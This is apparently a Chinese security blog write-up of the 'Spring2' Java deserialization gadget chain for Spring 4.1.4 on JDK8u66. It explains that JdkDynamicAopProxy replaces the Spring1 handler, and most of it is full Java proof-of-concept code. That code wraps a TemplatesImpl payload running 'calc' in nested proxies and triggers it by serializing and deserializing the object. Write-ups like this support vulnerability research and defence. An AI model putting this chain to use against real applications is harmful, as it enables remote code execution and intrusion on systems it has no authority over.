参考:https://ch1e.cn/post/spring-xi-lie-fan-xu-lie-hua-lian/#%E5%8F%82%E8%80%83

依赖

JDK8u66

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>

分析

和spring1基本一样,只是将ObjectFactoryDelegatingInvocationHandler替换为JdkDynamicAopProxy。

这个类实现了InvocationHandler。

获取到Templates#getOutputProperties后走JdkDynamicAopProxy#invoke

这里面存在方法调用,target稍微看一下就知道任意可控。

image-20240223165633139.png

代码实现

第一个代理,和spring1一样,完全没动

public static Object proxy1() throws Exception{
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");

HashMap<Object, Object> hashMap = new HashMap();
hashMap.put("getType",proxy2());
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class, hashMap);
Object proxy = Proxy.newProxyInstance(methodInvokeTypeProviderClass.getClassLoader(), methodInvokeTypeProviderClass.getInterfaces(),(InvocationHandler) handler);
return proxy;
}

第二个代理,handler换成JdkDynamicAopProxy。

public static Object proxy2() throws Exception{
Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Object handler = Util.createWithoutConstructor(jdkDynamicAopProxy);

AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(getTemplateImpl("calc"));
setFinalFieldValue(handler,"advised",advisedSupport);

Class<?> typeInterface = Class.forName("java.lang.reflect.Type");
Object proxy = Proxy.newProxyInstance(typeInterface.getClassLoader(),new Class[]{typeInterface,Templates.class},(InvocationHandler) handler);
return proxy;

}

入口,和spring1一样。

public static void main(String[] args) throws Exception{

Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Object invokeTypeProvider = Util.createWithoutConstructor(methodInvokeTypeProviderClass);
Object proxy1 = proxy1();
setFinalFieldValue(invokeTypeProvider,"provider",proxy1);
setFinalFieldValue(invokeTypeProvider,"methodName","getOutputProperties");
Util.unserialize(Util.serialize(invokeTypeProvider));

}